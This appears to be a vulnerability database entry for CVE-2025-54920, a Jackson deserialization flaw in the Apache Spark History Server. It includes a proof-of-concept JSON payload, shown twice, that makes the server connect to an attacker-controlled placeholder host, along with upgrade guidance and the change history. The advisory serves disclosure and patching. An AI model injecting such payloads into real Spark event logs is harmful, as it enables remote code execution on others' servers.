CVE-2025-54920
Apache Spark: Spark History Server Code Execution Vulnerability
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
INFO
Published Date :
March 16, 2026, 2:17 p.m.
Last Modified :
March 20, 2026, 7:16 p.m.
Remotely Exploit :
Yes !
Source :
[email protected]
CVSS Scores
| Score | Version | Severity | Vector | Exploitability Score | Impact Score | Source |
|---|---|---|---|---|---|---|
| CVSS 3.1 | HIGH | 134c704f-9b21-4f2e-91b3-4a467353bcc0 |
Solution
- Upgrade Apache Spark to version 3.5.7 or 4.0.1.
- Ensure event logs are protected from unauthorized access.
- Review Jackson deserialization configurations.
References to Advisories, Solutions, and Tools
Here, you will find a curated list of external links that provide in-depth
information, practical solutions, and valuable tools related to
CVE-2025-54920.
| URL | Resource |
|---|---|
| https://github.com/apache/spark/pull/51312 | Issue Tracking |
| https://github.com/apache/spark/pull/51323 | Issue Tracking |
| https://issues.apache.org/jira/browse/SPARK-52381 | Issue Tracking |
| https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s | Mitigation Vendor Advisory Exploit |
| http://www.openwall.com/lists/oss-security/2026/03/13/4 | Mailing List Third Party Advisory Exploit |
CWE - Common Weakness Enumeration
While CVE identifies
specific instances of vulnerabilities, CWE categorizes the common flaws or
weaknesses that can lead to vulnerabilities. CVE-2025-54920 is
associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification
(CAPEC)
stores attack patterns, which are descriptions of the common attributes and
approaches employed by adversaries to exploit the CVE-2025-54920
weaknesses.
We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).
Results are limited to the first 15 repositories due to potential performance issues.
The following list is the news that have been mention
CVE-2025-54920 vulnerability anywhere in the article.
The following table lists the changes that have been made to the
CVE-2025-54920 vulnerability over time.
Vulnerability history details can be useful for understanding the evolution of a vulnerability, and for identifying the most recent changes that may impact the vulnerability's severity, exploitability, or other characteristics.
-
Initial Analysis by [email protected]
Mar. 20, 2026
Action Type Old Value New Value Added CPE Configuration OR *cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:* versions up to (excluding) 3.5.7 *cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:* Added Reference Type Apache Software Foundation: https://github.com/apache/spark/pull/51312 Types: Issue Tracking Added Reference Type Apache Software Foundation: https://github.com/apache/spark/pull/51323 Types: Issue Tracking Added Reference Type Apache Software Foundation: https://issues.apache.org/jira/browse/SPARK-52381 Types: Issue Tracking Added Reference Type Apache Software Foundation: https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s Types: Exploit, Mitigation, Vendor Advisory Added Reference Type CVE: http://www.openwall.com/lists/oss-security/2026/03/13/4 Types: Exploit, Mailing List, Third Party Advisory -
CVE Modified by 134c704f-9b21-4f2e-91b3-4a467353bcc0
Mar. 17, 2026
Action Type Old Value New Value Added CVSS V3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H -
New CVE Received by [email protected]
Mar. 16, 2026
Action Type Old Value New Value Added Description This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system. Added CWE CWE-502 Added Reference https://github.com/apache/spark/pull/51312 Added Reference https://github.com/apache/spark/pull/51323 Added Reference https://issues.apache.org/jira/browse/SPARK-52381 Added Reference https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s -
CVE Modified by af854a3a-2127-422b-91ae-364da2661108
Mar. 16, 2026
Action Type Old Value New Value Added Reference http://www.openwall.com/lists/oss-security/2026/03/13/4